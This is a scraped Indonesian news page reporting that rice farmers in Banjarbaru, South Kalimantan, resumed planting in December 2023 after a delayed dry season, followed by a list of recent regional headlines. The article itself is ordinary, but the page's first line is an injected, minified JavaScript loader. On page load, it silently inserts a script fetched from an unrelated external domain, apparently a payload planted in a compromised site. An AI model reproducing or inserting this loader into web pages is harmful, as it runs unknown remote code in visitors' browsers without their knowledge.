(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DKP3 Banjarbaru

Sempat Telat, Petani Padi di Banjarbaru Mulai Masuki Masa Tanam


KANALKALIMANTAN.COM, BANJARBARU – Memasuki musim penghujan sedikitnya ada 30 hektare lebih sawah di Kota Banjarbaru berhasil tanam padi.

Saat ini kelompok tani di Ibu Kota Provinsi sedang memasuki masa tanam Oktober-Maret.

Dinas Ketahanan Pangan, Pertanian, dan Perikanan (DKP3) Kota Banjarbaru, kelompok tani melaporkan bahwa imbas kemarau yang terjadi di bulan Mei-Oktober membuat mereka tak bisa berbuat banyak.

Baca juga: Tanpa Calo, Ini 6 Layanan Publik Gratis di MPP Baiman Banjarmasin

Kepala Bidang Pertanian dan Perkebunan DKP3 Kota Banjarbaru, Ani Purwanti mengatakan pada bulan Oktober lalu hanya ada sekitar 1 sampai 2 hektare saja lahan padi yang bisa dianami padi.

“Tetapi setelah ada hujan sekarang ini Alhamdullilah petani sudah mulai membibitkan, sebagian juga sudah mulai tanam dan untuk Banjarbaru sampai per tanggal 11 sudah ada 30 hektare bahkan lebih dari itu padi yang ditanam,” ucap Ani Purwanti ditemui di kantornya, Selasa (12/12/2023).

Dengan dimulainya musim hujan, ia menjelaskan selanjutnya petani dapat memaksimalkan masa tanam hingga bulan Maret 2024 mendatang.

Baca juga: Diskusi Jurnalis Hadapi Pemilu 2024, Jangan Sampai Berita Tidak Terverifikasi

Adapun sawah-sawah yang berhasil melakukan penanaman padi tersebut tersebar di empat wilayah seperti di Kelurahan Cempaka, Bangkal, Palam, serta Sungai Ulin.

“Jadi untuk selanjutnya petani-petani akan selalu ada kegiatan menanam ada, hingga kita terakhir musim tanam itu bulan Maret,” ungkap dia.

Dia menjelaskan bahwa sebagian besar kelompok petani di Banjarbaru menerapkan sistem tanam padi unggul yang kemudian disusul dengan penanaman varietas padi lokal.

Baca juga: Sidang Perdana Ayah Gembong Narkoba Fredy Pratama, Lian Silas Didakwa Kombinasi 6 Pasal Pencucian Uang

“Maka di sekitar bulan Januari atau Februari itu sudah ada yang panen padi jenis unggul kemudian dilanjutkan dengan lokal pada bulan Maret,” sambungnya.

Seperti halnya di wilayah Sungai Ulin, ia menjelaskan bahwa petani juga telah memulai masa tanam, dengan cara tugal bukan dengan melakukan persemaian.

“Seperti di Sungai Ulin juga sudah mulai tanam dia tidak melakukan persemaian jadi langsung dengan cara ditugal seperti nanam jagung, mudah-mudahan itu di bulan Maret bisa disambung dengan penanaman padi lokalnya,” pungkas dia. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Belanja Bahagia, PLN Tebar Senyum Berkah untuk Anak Yatim

KANALKALIMANTAN.COM, PONTIANAK - PLN melalui Yayasan Baitul Maal (YBM) PLN dan Srikandi PLN menebar kebahagiaan… Read More

8 jam ago

Hadapi PSU 19 April, 403 PTPS Dilantik dan Diaktifkan Kembali

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 403 orang Pengawas Tempat Pemungutan Suara (PTPS) se Kota Banjarbaru akan… Read More

8 jam ago

Kepala BIN Resmikan Mako BINDA Kalsel di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Kepala Badan Intelijen Nasional (BIN) Muhammad Herindra meresmikan gedung baru Markas Komando… Read More

8 jam ago

163 Calon Jemaah Haji Banjarbaru Mulai Ikuti Manasik

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Kantor Kementerian Agama Kota Banjarbaru resmi membuka kegiatan… Read More

9 jam ago

Desa Longkong Ikuti Lomba Posyandu, Ini Pesan Ketua TP PKK HSU

KANALKALIMANTAN.COM, AMUNTAI – Pos Pelayanan Terpadu (Posyandu) Mawar Desa Longkong, Kecamatan Danau Panggang, menjadi lokasi… Read More

10 jam ago

DPRD Banjarbaru Berikan 11 Evaluasi LKPj Wali Kota Tahun Anggaran 2024

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru memberikan evaluasi terkait rekomendasi laporan… Read More

12 jam ago

This website uses cookies.